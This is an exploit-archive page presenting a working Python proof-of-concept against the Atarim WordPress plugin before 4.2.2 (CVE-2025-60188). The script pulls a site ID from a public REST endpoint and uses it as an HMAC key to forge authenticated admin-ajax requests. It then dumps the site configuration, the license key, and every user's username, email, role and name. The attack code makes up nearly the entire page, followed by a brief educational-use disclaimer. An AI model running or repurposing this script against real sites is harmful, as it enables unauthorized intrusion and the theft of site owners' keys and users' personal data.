Skip to main content

Atarim WordPress Plugin 4.2.2 – Sensitive Information Exposure

Categories: WebApps

Atarim WordPress Plugin 4.2.2 – Sensitive Information Exposure

Proof of Concept (PoC)

poc.py
# Exploit Title: Atarim WordPress Plugin  4.2.2 - Sensitive Information Exposure
# Google Dork: N/A
# Date: 2026-07-05
# Exploit Author: Mohammad Hossein Sadeghian
# Vendor Homepage: https://atarim.io/
# Software Link: https://wordpress.org/plugins/atarim/
# Version: < 4.2.2
# Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7
# CVE: CVE-2025-60188


import requests
import hashlib
import hmac
import json
import sys
import urllib3
import re
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def print_banner():
    banner = r"""
    ____                      __   _   __     __ 
   / __ ________  ____ _____/ /  / | / /__  / /_
  / / / / ___/ _ / __ / __  /  /  |/ / _ / __/
 / /_/ / /  /  __/ /_/ / /_/ /  / /|  /  __/ /_  
/_____/_/   ___/__,_/__,_/  /_/ |_/___/__/

Author: m4sh_wacker
    """
    print(banner)

class Colors:
    HEADER = '33[95m'
    BLUE = '33[94m'
    CYAN = '33[96m'
    GREEN = '33[92m'
    FAIL = '33[91m'    
    WARNING = '33[93m'  
    ENDC = '33[0m'
    BOLD = '33[1m'

class AtarimUltimateExploit:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.site_id = None
        self.ajax_url = f"{self.target}/wp-admin/admin-ajax.php"
        self.rest_url = f"{self.target}/wp-json/atarim/v1/db/vc"
        
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': '*/*'
        }

    def step_1_steal_id(self):
        print(f"{Colors.BLUE}[*] Connecting to target to extract Site ID...{Colors.ENDC}")
        try:
            r = requests.get(self.rest_url, headers=self.headers, verify=False, timeout=15)
            
            match = re.search(r'"wpf_site_id":"(d+)"', r.text)
            if match:
                self.site_id = match.group(1)
                print(f"{Colors.GREEN}[+] TARGET INFECTED! Site ID Found: {self.site_id}{Colors.ENDC}n")
                return True
            
            print(f"{Colors.FAIL}[-] Exploit Failed. Site ID not found in response.{Colors.ENDC}")
            return False
        except Exception as e:
            print(f"{Colors.FAIL}[-] Connection Error: {e}{Colors.ENDC}")
            return False

    def send_signed_request(self, action_name):
        if not self.site_id: return None

        reference = "sys_admin_check"
        
        signature = hmac.new(
            key=self.site_id.encode('utf-8'),
            msg=reference.encode('utf-8'),
            digestmod=hashlib.sha256
        ).hexdigest()

        auth_headers = self.headers.copy()
        auth_headers.update({
            'Request-Reference': reference,
            'Request-Signature': signature
        })

        try:
            r = requests.post(
                self.ajax_url, 
                data={'action': action_name}, 
                headers=auth_headers, 
                verify=False, 
                timeout=20
            )
            
            if r.status_code == 200:
                try:
                    return r.json()
                except:
                    return None 
            return None
        except:
            return None

    def run_exploit(self):
        if not self.step_1_steal_id():
            return


        print(f"{Colors.HEADER}{'='*100}")
        print(f" 1. SYSTEM INTELLIGENCE (CONFIG & KEYS)")
        print(f"{'='*100}{Colors.ENDC}")

        details = self.send_signed_request('wpf_website_details')
        
        if details and isinstance(details, dict):
            print(f" {Colors.CYAN}Target URL:{Colors.ENDC}     {details.get('url', 'N/A')}")
            print(f" {Colors.CYAN}Site Name:{Colors.ENDC}      {details.get('name', 'N/A')}")
            
            license_key = details.get('wpf_license_key')
            if license_key and str(license_key).lower() != 'false':
                 print(f" {Colors.CYAN}License Key:{Colors.ENDC}    {Colors.FAIL}{license_key} (LEAKED!){Colors.ENDC}")
            else:
                 print(f" {Colors.CYAN}License Key:{Colors.ENDC}    {Colors.WARNING}Not Found / Free Version{Colors.ENDC}")

            print(f"n {Colors.BOLD}[Internal Configurations]{Colors.ENDC}")
            settings = details.get('settings', [])
            for s in settings:
                k = s.get('name', '').replace('wpf_', '').replace('_', ' ').title()
                v = str(s.get('value', ''))
                
                if '@' in v or 'admin' in v.lower():
                    v = f"{Colors.GREEN}{v}{Colors.ENDC}"
                
                print(f"   - {k:<30} : {v}")
        else:
            print(f"{Colors.FAIL}   [-] Failed to dump system config.{Colors.ENDC}")

        time.sleep(1) 


        print(f"n{Colors.HEADER}{'='*100}")
        print(f" 2. COMPROMISED ACCOUNTS (FULL PII DUMP)")
        print(f"{'='*100}{Colors.ENDC}")

        users = self.send_signed_request('wpf_website_users')

        if users and isinstance(users, list):

            header = "{:<5} | {:<15} | {:<20} | {:<30} | {:<15} | {:<15}".format(
                "ID", "ROLE", "USERNAME", "EMAIL", "FIRST NAME", "LAST NAME"
            )
            print(f"{Colors.BOLD}{header}{Colors.ENDC}")
            print("-" * 110)

            for u in users:
                uid = str(u.get('wpf_id', '-'))
                role = u.get('role', 'none')
                uname = u.get('wpf_name', 'unknown')
                email = u.get('wpf_email', 'unknown')
                fname = u.get('first_name', '')
                lname = u.get('last_name', '')
                
                c_start = ""
                c_end = ""
                if 'admin' in role.lower():
                    c_start = Colors.FAIL
                    c_end = Colors.ENDC
                
                print(f"{c_start}{uid:<5} | {role:<15} | {uname:<20} | {email:<30} | {fname:<15} | {lname:<15}{c_end}")
                
                known_cols = [
                    'wpf_id', 'role', 'wpf_name', 'wpf_email', 
                    'first_name', 'last_name', 'is_admin', 
                    'wpf_display_name', 'wpf_user_avatar' 
                ]
                
                extras = {k: v for k, v in u.items() if k not in known_cols and v}
                
                if extras:
                    for k, v in extras.items():
                        print(f"      {Colors.WARNING}-> {k}: {v}{Colors.ENDC}")

            print(f"n{Colors.GREEN}[+] Total Users Extracted: {len(users)}{Colors.ENDC}")
        else:
            print(f"{Colors.FAIL}   [-] No users found or Access Denied.{Colors.ENDC}")

        print(f"n{Colors.HEADER}{'='*100}")
        print(f" EXPLOIT FINISHED")
        print(f"{'='*100}{Colors.ENDC}")

if __name__ == "__main__":
    print_banner()
    target_site = input(f"{Colors.BOLD}Enter Target Site URL (e.g., https://example.com): {Colors.ENDC}").strip() 
    if len(sys.argv) > 1:
        target_site = sys.argv[1]

    exploit = AtarimUltimateExploit(target_site)

    exploit.run_exploit()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...